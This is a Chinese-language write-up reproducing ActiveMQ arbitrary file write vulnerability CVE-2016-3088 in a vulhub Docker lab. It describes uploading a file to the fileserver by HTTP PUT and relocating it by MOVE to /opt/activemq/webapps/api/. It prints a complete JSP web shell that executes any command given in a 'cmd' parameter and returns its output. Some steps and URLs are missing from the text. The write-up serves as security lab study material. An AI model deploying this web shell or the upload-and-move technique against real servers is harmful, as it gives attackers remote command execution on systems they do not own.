2023年11月28日发(作者:)

ActiveMQ任意⽂件写⼊漏洞(CVE-2016-3088)复现

⼀、漏洞描述

该漏洞出现在fileserver应⽤中,漏洞原理:ActiveMQ中的fileserver服务允许⽤户通过HTTP PUT⽅法上传⽂件到指定⽬录。Fileserver⽀

持写⼊⽂件(不解析jsp),但是⽀持移动⽂件(Move)我们可以将jsp的⽂件PUT到Fileserver下,然后再通过Move指令移动到可执⾏⽬录下访

问。

⼆、影响版本

Apache ActiveMQ 5.0.0 - 5.13.2

三、环境搭建

1、下载、搭建vulhub

2、下载、安装docker服务,使⽤docker-compose up -d启动环境即可

访问,确定成功上传

⽊马如下:

<%@ page import=".*" %>

<%

try {

String cmd = request.getParameter("cmd");

Process child = Runtime.getRuntime().exec(cmd);

InputStream in = child.getInputStream();

int c;

while ((c = in.read()) != -1) {

out.print((char)c);

}

in.close();

try {

child.waitFor();

} catch (InterruptedException e) {

e.printStackTrace();

}

} catch (IOException e) {

System.err.println(e);

}

%>

4、采坑⽆数得知,fileserver⽬录是没有解析权限的,所以需要将shell⽂件移动到存在权限的⽬录中,故使⽤MOVE⽅式,将shell移动

到/opt/activemq/webapps/api/⽬录中,返回包返回204说明移动成功